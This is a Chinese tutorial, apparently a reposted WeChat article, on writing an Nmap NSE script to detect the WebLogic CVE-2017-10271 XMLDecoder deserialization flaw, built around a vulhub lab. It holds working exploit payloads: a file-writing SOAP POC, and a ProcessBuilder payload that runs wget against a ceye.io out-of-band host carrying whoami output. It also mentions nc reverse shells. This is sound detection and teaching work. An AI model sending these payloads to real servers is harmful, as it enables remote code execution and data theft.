工具| NSE漏洞审计和渗透脚本的demo

nmap为我们提供了较为精准的端口和服务探测的功能,如果我们在探测到某些端口或者服务的同时顺带检测下是否含有曾经爆出的漏洞呢?本期将以Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞为例子,为大家介绍如何用NSE来编写渗透脚本。

0x01 http 库的介绍

由于本次Weblogic 反序列化漏洞这个例子是以HTTP请求的方式来发送POC和相关请求,所以需要先掌握http库的使用。

1. 实现一个HTTP中的get方法

local http = require "http"

local req = http.get(host, port, path, options)

http库的get方法可以发起一个请求,请求将请求结果以一个table的形式返回。 参数说明:

  • host : 要请求的主机
  • port : 要请求的主机的端口
  • path :要请求的路径
  • options :一个table的格式,可以定义socket超时时间、HTTP 的请求头部字段或者其他的参数

2. 实现一个HTTP中的post方法

local http = require "http"

local req = http.post(host, port, path, options, ignored, postdata)

post方法支持的参数有6个,相同的4个和get方式一样。 不同与GET的参数说明:

  • ignored : 忽略向下兼容。此参数斗哥也不太理解,一般置为nil
  • postdata :POST数据,可以是字符串或者是一个table。默认会以application/x-www-form-encoded编码方式提交,如果不想使用此方法,需要改写generic_request这个方法。

3. 获取返回内容

  • req.status : HTTP返回包的状态码
  • req.header / req.rawheader:整个返回包头部
  • req.body : HTTP报回报的正文

4. 关于脚本调试

使用nmap-d参数 这个后面可以跟1-9的数字,数字越大调试信息越详细,一般-d3足以查看到详细的http报文了。

使用wireshark 利用wireshark本身的报文过滤能力,筛选出我们想要的HTTP请求包。 如筛选命令:http.request.method=="POST" and ip.dst==192.168.1.1 就可以筛选出发往192.168.1.1的POST请求了。

0x02 漏洞环境搭建

环境使用的是phith0n牛的docker开源靶场:https://github.com/vulhub,使用docker搭建漏洞环境会比较高效。

0x03 漏洞POC

因为该漏洞是属于代码执行漏洞,根据这个漏洞可以文件写马或者执行系统命令。

文件写马POC 利用的java的io包下的PrintWriter类:<object class="java.io.PrintWriter">

该POC的路径不能出错,漏洞环境需要有写的权限。作为POC我们不必写真正的JSP马,写入无害数据到一个文件,然后判断文件是否有数据即可。

命令执行,反弹shell或者是利用服务监控的方式 由于该代码执行执行系统命令并没有回显结果。所以斗哥掌握的方法一种是执行nc命令反弹一个shell回来,另外一种是通过服务监控的方式,而服务监控的方式更使用与nmap的脚本编写。

利用的java的lang包下的ProcessBuilder类:<object class="java.lang.ProcessBuilder">

利用CEYE,本次漏洞我们可以监控的服务有nslookup、curl、wget、ping等。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
                    <soapenv:Header> 
                        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
                        <java version="1.8.0_131" class="java.beans.XMLDecoder"> 
                            <object class="java.lang.ProcessBuilder"> 
                            <array class="java.lang.String" length="2"> 
                                <void index="0"> 
                                <string>wget</string> 
                                </void>  
                                <void index="1"> 
                                <string>`whoami`test111.xxx.ceye.io</string> 
                                </void>  
                            </array>  
                            <void method="start"/> 
                            </object> 
                        </java> 
                        </work:WorkContext> 
                    </soapenv:Header>  
                    <soapenv:Body/> 
                </soapenv:Envelope>

0x04 NSE脚本

脚本的POC使用的是通过写入无害数据到文件,检测文件是否存在的方式。如果要使用监控服务的方式,只需更换POC即可。

nmap命令:nmap -Pn -p7001 --script weblogic_cve2017_10271 192.168.1.0/24

local http = require "http"
local shortport = require "shortport"
local string = require "string"

description = [[检测Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)]]
author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe","discovery","version"}

portrule = function(host,port)
    return port.protocol == "tcp" and port.state == "open"
end

action = function(host, port)

    print("port.numner is : ",port.number)
    print("port status is : ",port.state)
    local basepath = "/wls-wsat/CoordinatorPortType"

    math.randomseed(tostring(os.time()):reverse():sub(1, 7)) --设置时间种子
    local randomnum = math.random(1000000,9999999)  -- 生成一个随机数,POC需要具有随机性

    local randomurl = '/wls-wsat/' .. tostring(randomnum) .. '.txt'

    print(randomurl)

    local postdata='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/' .. tostring(randomnum) .. '.txt</string><void method="println"><string>xmldecodetest</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'

    local options={ header = {    -- HTTP头部的编写格式
    ["Accept-Encoding"]="en",
    ["Accept"]="*/*",
    ["User-Agent"] = "Mozilla/5.0",
    ["Content-Length"]=638,
    ["Content-Type"]="text/xml",
    ["Expect"]="100-continue",
    ["Connection"]="Keep-Alive"
    } }

    local req = http.get(host,port,basepath,{ no_cache = true})  -- 检测是否存在/wls-wsat/CoordinatorPortType路径的请求
    local reqw= http.post(host,port,basepath,options,nil,postdata)  -- 发送POC的请求 
    local reqr= http.get(host,port,randomurl,{ no_cache = true}) -- 检测POC是否成功写入文件的请求

    if string.find(reqr.body,'xmldecodetest') ~= nil  -- 如果写入的文件有xmldecodetest字段,说明漏洞存在
    then
        return "Vuln Detect CVE-2017-10271 ,Weblogic < 10.3.6 'wls-wsat' XMLDecoder"
    end

    if string.find(req.body,'CoordinatorPortType') ~= nil  -- 如果存在/wls-wsat/CoordinatorPortType路径,说明可能存在风险
    then
        return "Vuln Warning .. Detect PATH: /wls-wsat/CoordinatorPortType ,Mabey CVE-2017-10271 ,Weblogic < 10.3.6 'wls-wsat' XMLDecoder"
    end
end

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2018-03-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏JMCui

Hybris安装和各个Extention简单介绍

前言:突然想好好梳理一下这几个月所学的内容了,顺便让自己的知识有一个系统的框架。这种安装仅仅适用于开发环境,不适于生产环境。 一、  安装JDK 请安装最新的O...

534110
来自专栏玄魂工作室

Kali Linux Web渗透测试手册(第二版) - 2.2 - 使用Recon-ng收集信息

thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt,

15750
来自专栏容器云生态

Openstack平台搭建之第一天 基于RDO方式搭建

openstck基于web方式的rdo部署 If you have any question ,please contact me by weichuangxx...

346100
来自专栏向治洪

XMPP(一)-openfire服务端的安装和搭建

XMPP全称:可扩展通讯和表示协议 简介:可扩展通讯和表示协议 (XMPP) 可用于服务类实时通讯、表示和需求响应服务中的XML数据元流式传输。XMPP以J...

35670
来自专栏搜云库

《深入理解Java虚拟机》(五)JVM调优 - 工具

JVM调优 - 工具 JConsole:Java监视与管理控制台 JConsole是一个机遇JMX(Java Management Extensions,即Ja...

31690
来自专栏散尽浮华

Heartbeat使用梳理

在日常的集群系统架构中,一般用到Heartbeat的主要就2种: 1)高可用(High Availability)HA集群, 使用Heartbeat实现,也称为...

39270
来自专栏Android点滴积累

Windows下Git多账号配置,同一电脑多个ssh-key的管理

  这一篇文章是对上一篇文章《Git-TortoiseGit完整配置流程》的拓展,所以需要对上一篇文章有所了解,当然直接往下看也可以,其中也有一些提到一些基础的...

412100
来自专栏F-Stack的专栏

F-Stack Q&A 第一期

Q1:F-Stack有中断模式吗,有计划支持吗?在计算密集型的应用中,轮询模式会占用更多的CPU资源? A1:F-Stack暂时只支持轮询模式,后续会支持中断+...

76450
来自专栏木头编程 - moTzxx

PHP学习(wampServer+PhpStorm+XDebug)——环境相关配置参考(下)

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011415782/article/de...

19010
来自专栏九彩拼盘的叨叨叨

超文本传输协议(HTTP)介绍

超文本传输协议(HyperText Transfer Protocol,HTTP)是从服务器传输数据到客户端的传输协议。

9120

扫码关注云+社区

领取腾讯云代金券